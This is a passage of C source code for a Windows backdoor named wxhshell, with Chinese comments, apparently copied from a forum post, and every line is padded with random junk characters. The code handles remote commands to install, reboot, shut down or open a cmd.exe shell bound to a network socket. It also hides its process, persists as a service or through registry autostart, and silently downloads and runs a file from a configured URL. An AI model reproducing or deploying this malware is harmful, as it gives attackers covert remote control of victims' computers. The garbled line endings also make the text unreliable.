      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SJ~I r#  
    break; ,~j$rs`Z  
  } Q~w G(0'8  
  // 安装 1$!RKqT  
  case 'i': { #Z=)=  
    if(Install()) .e _D3Xp<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4QKE{0NE  
    else ,m?UFRi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?_Dnfa_  
    break; d-N"mI-  
    } gh #w%g1g  
  // 卸载 y~A7pzBZ=  
  case 'r': { z$BnEd.y=:  
    if(Uninstall()) NKUI! [  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $vGEY7,  
    else Ni@e/| 2b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :UhFou_D4l  
    break; 6kF uMtjc  
    } 4gv XJK-  
  // 显示 wxhshell 所在路径 'G3OZj8  
  case 'p': { $m: a-.I  
    char svExeFile[MAX_PATH]; n8OdRv  
    strcpy(svExeFile,"\n\r"); hPeKQwzC0  
      strcat(svExeFile,ExeFile); k>0cTBY&  
        send(wsh,svExeFile,strlen(svExeFile),0); 55\X\> 0C7  
    break; _6-/S!7Y\  
    } P7x?!71?L  
  // 重启 GY$?^&OO>  
  case 'b': { 'y M:W cN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^Lfn3.M  
    if(Boot(REBOOT)) U_{JM`JY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ge {4;,0=  
    else { U)w|GrxX  
    closesocket(wsh); 5G ]#yb74  
    ExitThread(0); RBD7mpd  
    } >3 .ep},  
    break; +#JhhW Zj(  
    } ? -F'0-t4%  
  // 关机 QUw5~n ;-  
  case 'd': { S7~F*CGBh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w%o4MFK=!  
    if(Boot(SHUTDOWN)) vS t=Ax3]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $9i5<16  
    else { XX[Wwt  
    closesocket(wsh); 5B.??;xtaV  
    ExitThread(0); W7[ S7kd  
    } $9_.Q/9>  
    break; oJ@PJvmR&a  
    } 9]F&Fz/G  
  // 获取shell 8Y0<lfG  
  case 's': { IV)W|/.  
    CmdShell(wsh); 5Kw?SRFH/  
    closesocket(wsh); OO wA{]gK  
    ExitThread(0); m',_k Y3  
    break; |p4OlUq  
  } 8`~3MsE"  
  // 退出 x5 ~E'~_  
  case 'x': { .9fluAG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4e#K.HU_  
    CloseIt(wsh); rU^ghF  
    break; cf!k 9x9Z  
    } UlN|Oy,  
  // 离开 Sd{"A0[A|  
  case 'q': { Isgk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *pC -`k  
    closesocket(wsh); Q|<?$.FN"8  
    WSACleanup(); VaI P  
    exit(1); K y4y  
    break; S 2 h  
        } ;Kq?*H  
  } -Us% g  
  } }~C ZqIP  
P_g0G#`4  
  // 提示信息 T\s#-f[x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ;yER V  
} ^-;Z8M  
  } XXwhs-:o  
q vVZA*  
  return; z+D,:!yF  
} Xsn- +e  
_]ttKT(  
// shell模块句柄 ulSTR f  
int CmdShell(SOCKET sock) q4ko}jn  
{ 6:z&ukq E  
STARTUPINFO si; 3L]^x9Cu)  
ZeroMemory(&si,sizeof(si)); RH4n0 =2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "l,EcZRjTz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Lm{ o=v  
PROCESS_INFORMATION ProcessInfo; 99>yaW  
char cmdline[]="cmd"; H.[&gm}p>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F}.TT =((8  
  return 0; 2_\|>g|  
} %` [`I>  
_w/N[E  
// 自身启动模式 +sluu!~  
int StartFromService(void) RR[TW;  
{ bNU^tL3QZ  
typedef struct *B<I><'G  
{ ~+nSI-L  
  DWORD ExitStatus; *3 8Y;{ 4  
  DWORD PebBaseAddress; v 4b`19}  
  DWORD AffinityMask; -*l[:5m  
  DWORD BasePriority; [=1?CD  
  ULONG UniqueProcessId; #*M$,ig  
  ULONG InheritedFromUniqueProcessId; RS02>$jo  
}   PROCESS_BASIC_INFORMATION; vEp8Hc  
1sLfjH hv  
PROCNTQSIP NtQueryInformationProcess; P W<wjf,rQ  
cRr `r[t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MNmQ%R4jRN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9k^=m)yS'  
iC+H;s5<  
  HANDLE             hProcess; 4H=sD t  
  PROCESS_BASIC_INFORMATION pbi; t-(7Q8(  
a&VJ YAB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HbSx}bM_9  
  if(NULL == hInst ) return 0; K$5P_~;QL  
`gs,JJ6N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ru aJ9O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SfFR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F^G`Jf  
DmPsltpzQ  
  if (!NtQueryInformationProcess) return 0; 64X#:t+  
c qyh#uWe  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3A}8?  
  if(!hProcess) return 0; Du4#\OK  
^Jc0c)*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6b01xu(A[  
r3vj o(  
  CloseHandle(hProcess); XRz6Yf(/  
^ 6|"=+cO\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \)uad5`N  
if(hProcess==NULL) return 0; SZD2'UaG  
1AV1W_"  
HMODULE hMod; 9d}nyJ  
char procName[255]; [te7 uZv-  
unsigned long cbNeeded; 5g2+Ar(  
1H 6Wrik  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }jgAV  
aKtTx~$@  
  CloseHandle(hProcess); B :.;:AEbT  
k $&A  
if(strstr(procName,"services")) return 1; // 以服务启动 B9:0|i!!A`  
|?=1tS{iT  
  return 0; // 注册表启动 BVp.A]  
} K3D $ hb  
'+zsj0!A  
// 主模块 Jz0S2&  
int StartWxhshell(LPSTR lpCmdLine) tp2 _OQAQ  
{ o9\m? ~g!E  
  SOCKET wsl; .. TjEBp  
BOOL val=TRUE; <F & hfy  
  int port=0; 'B6H/d>  
  struct sockaddr_in door; +[[gU;U"v  
hzo,.hS's  
  if(wscfg.ws_autoins) Install(); :/l   
Bys|i0tb-  
port=atoi(lpCmdLine); p'}%pAY  
4344PBj  
if(port<=0) port=wscfg.ws_port; M?u)H&kEl  
Sxu v}y\  
  WSADATA data; S]g)^f'a65  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4O^1gw  
r=aQ S5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q~_jF$9SX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i=QhX CM  
  door.sin_family = AF_INET; ,jcp"-5#j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ttVSgKAsm  
  door.sin_port = htons(port); BIyG[y?qO  
QLG,r^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hDMp^^$  
closesocket(wsl); =oDrN7`,B  
return 1; K_3ZJ  
} -h`0v  
.&.CbE8K[  
  if(listen(wsl,2) == INVALID_SOCKET) { >E=a~ O  
closesocket(wsl); qJj5J;k  
return 1; 9V\`{(R  
} 0O4mA&&!oK  
  Wxhshell(wsl); {HnOUc\4  
  WSACleanup(); o]U ==  
]NsaFDi\  
return 0; z\ pT+9&  
Y%@'a~  
} \YS\* 'F  
$7YLU{0  
// 以NT服务方式启动 ,u2<()`8D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p2^OQK  
{ Hefqzu  
DWORD   status = 0; {!h[@f4  
  DWORD   specificError = 0xfffffff; >,vuC4v-  
{p iS3xBi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z4' v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E}2[P b)e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h+(s/o?\  
  serviceStatus.dwWin32ExitCode     = 0; 7RJW  
  serviceStatus.dwServiceSpecificExitCode = 0; < *OF  
  serviceStatus.dwCheckPoint       = 0; b@hoH)<9E  
  serviceStatus.dwWaitHint       = 0; |D:0BATRP  
')cu/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yl])Q|2I  
  if (hServiceStatusHandle==0) return;  t m?  
iX p8u**  
status = GetLastError(); ]S ,GHPEN  
  if (status!=NO_ERROR) -NeF6  
{ :Ej)A fS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EMbsKG  
    serviceStatus.dwCheckPoint       = 0; C:{'0m*jKs  
    serviceStatus.dwWaitHint       = 0; K%Bi8d  
    serviceStatus.dwWin32ExitCode     = status; +i =78  
    serviceStatus.dwServiceSpecificExitCode = specificError; {o`5&EoM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'QU ?O[CH  
    return; W9~datIh>  
  } _A r ,]v  
;@hP*7Lm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r1]^#&V;MC  
  serviceStatus.dwCheckPoint       = 0; H'.eqZM  
  serviceStatus.dwWaitHint       = 0; qa0Zgn5q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H l@rS  
} b}*hodzF  
f *vziC<m  
// 处理NT服务事件,比如:启动、停止 Y~!@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v%^H9aK_  
{ mgWtjV 8  
switch(fdwControl) qFk(UazN  
{ is$d<Y&F  
case SERVICE_CONTROL_STOP: m<4Lo0?nS  
  serviceStatus.dwWin32ExitCode = 0; ZxW V ,s&p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Op{Mc$5a  
  serviceStatus.dwCheckPoint   = 0; /o2eKx  
  serviceStatus.dwWaitHint     = 0; ."O(Ig[  
  { ,e,{6Sg6gl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <0m;|Ai'W  
  } R?Qou!*]  
  return; J:a^''  
case SERVICE_CONTROL_PAUSE: QR)eJ5<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d mO|PswW  
  break; v5o%y:~  
case SERVICE_CONTROL_CONTINUE: {Xj%JE[V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T9A5L"-6T  
  break; 8J0tya"z  
case SERVICE_CONTROL_INTERROGATE: edQ><lz  
  break; jG#sVK]  
}; iVcBD0 q)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i747( ^  
} iDsjIW\j  
9^tyjX2  
// 标准应用程序主函数 {PKER$C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u[DV{o  
{ n9^zAcUbAW  
o%a$m9I  
// 获取操作系统版本 3'wBX  
OsIsNt=GetOsVer(); M*N8p]3Cq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )UJMmw\  
D[mYrWHpn  
  // 从命令行安装 mq L+W  
  if(strpbrk(lpCmdLine,"iI")) Install(); <#-ERQw  
)j]RFt  
  // 下载执行文件 g2I@j3  
if(wscfg.ws_downexe) { :>k\uW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ilP&ctn6+c  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,J~dER\%  
} ;1nd~0o  
q,GL#L  
if(!OsIsNt) { )r~Oj3TH  
// 如果时win9x,隐藏进程并且设置为注册表启动 oS4ag  
HideProc(); va0 a4s1O  
StartWxhshell(lpCmdLine); y~fy0P:T  
} @ h]H_  
else +j,;g#d  
  if(StartFromService()) Syk^7l  
  // 以服务方式启动 nL? B  
  StartServiceCtrlDispatcher(DispatchTable); q3:tZoeXV  
else !`gg$9  
  // 普通方式启动 =6$(m}(74  
  StartWxhshell(lpCmdLine); 5eYCnc9  
/[OMpP  
return 0; dj=n1f+;[  
}
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只看该作者 1 发表于: 2006-10-10
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